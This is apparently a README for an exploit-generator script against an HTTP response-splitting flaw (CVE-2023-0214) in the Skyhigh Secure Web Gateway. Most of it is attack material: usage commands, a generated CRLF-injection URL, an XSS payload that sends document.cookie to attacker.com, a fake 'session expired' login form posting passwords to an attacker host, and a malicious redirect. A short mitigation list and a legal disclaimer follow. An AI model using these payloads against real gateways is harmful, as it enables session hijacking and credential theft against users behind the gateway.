SWG Exploit Generator

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

by 0PTS

Prova de conceito para a vulnerabilidade HTTP Response Splitting no Skyhigh Secure Web Gateway (anteriormente McAfee Web Gateway).

Sobre a vulnerabilidade

Vulnerabilidade crítica de HTTP Response Splitting no Skyhigh Secure Web Gateway, permitindo execução remota de ataques XSS através da injeção de código HTML/JavaScript arbitrário.

Detalhes técnicos

Tipo: HTTP Response Splitting / Cross-Site Scripting (XSS)
Gravidade: Alta
Vetor de ataque: Remoto, não requer autenticação

Princípio de funcionamento do exploit

A vulnerabilidade está no plugin "Ssos" (ação SetLoginToken), que processa incorretamente os parâmetros de URL:

Parâmetro "p" → é injetado no cabeçalho P3P
Parâmetro "c" → é injetado no corpo da resposta
Parâmetro "v" → é injetado no cookie MwgSso

Como os caracteres de nova linha (\r\n / %0d%0a) não são escapados, o atacante pode:

Injetar cabeçalhos HTTP arbitrários
Sobrescrever Content-Type e Content-Length
Injetar código HTML/JavaScript arbitrário

O navegador ignora o restante do conteúdo da resposta após um Content-Length corretamente definido, permitindo substituir completamente o conteúdo exibido.

Uso

Execução básica

python explot.py

Com parâmetros (como nmap)

# Базовый XSS
python explot.py -d example.com -p "<script>alert(document.domain)</script>"

# Редирект
python explot.py -d target.com -p '<meta http-equiv="refresh" content="0;url=https://evil.com/">'

# Фишинг форма
python explot.py -d bank.com -p '<form action="https://evil.com/steal"><input name="pass" placeholder="Password"><button>Login</button></form>'

# Только URL (тихий режим)
python explot.py -d example.com -p "<script>alert(1)</script>" -q

Parâmetros

-d, --domain    Domínio alvo (padrão: google.com)
-x, --prefix    Prefixo do caminho da URL (padrão: SWG internal path)
-p, --payload   HTML/JavaScript payload
-q, --quiet     Modo silencioso - apenas URL
-v, --version   Versão do script
-h, --help      Ajuda

Exemplos de payload

XSS com roubo de cookies

<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

Formulário de phishing

<html>
<body style="font-family:Arial">
<h2>Session Expired - Please Login Again</h2>
<form action="https://attacker.com/phish" method="POST">
<input type="text" name="user" placeholder="Username"><br>
<input type="password" name="pass" placeholder="Password"><br>
<button>Login</button>
</form>
</body>
</html>

Redirecionamento para site malicioso

<meta http-equiv="refresh" content="0;url=https://malicious-site.com/">

Demonstração

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

[+] Target Domain:   example.com
[+] Payload Length:  43 bytes
[+] URL Length:      234 chars

[+] Generated URL:

http://example.com/mwg-internal/de5fs23hu73ds/plugin?target=Ssos&action=SetLoginToken&v=1&c=1&p=p%0D%0AContent-Type%3A%20text%2Fhtml%3Bcharset%3Dutf-8%0D%0AContent-Length%3A%2043%0D%0A%0D%0A%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Proteção

Atualize o Skyhigh SWG para a versão mais recente
Use WAF com filtragem de injeção CRLF
Monitore requisições suspeitas para /mwg-internal/*

Aviso Legal

⚠️ ATENÇÃO: Esta ferramenta é destinada exclusivamente para:

Testes de penetração autorizados
Fins educacionais
Competições CTF
Pesquisas de segurança

O uso contra sistemas sem permissão explícita do proprietário é ilegal.

Fontes

https://www.exploit-db.com/exploits/51237
Skyhigh Security Bulletins

██████╗ ██████╗ ████████╗███████╗
██╔═████╗██╔══██╗╚══██╔══╝██╔════╝
██║██╔██║██████╔╝   ██║   ███████╗
████╔╝██║██╔═══╝    ██║   ╚════██║
╚██████╔╝██║        ██║   ███████║
 ╚═════╝ ╚═╝        ╚═╝   ╚══════╝

CVE-2023-0214

Mais Populares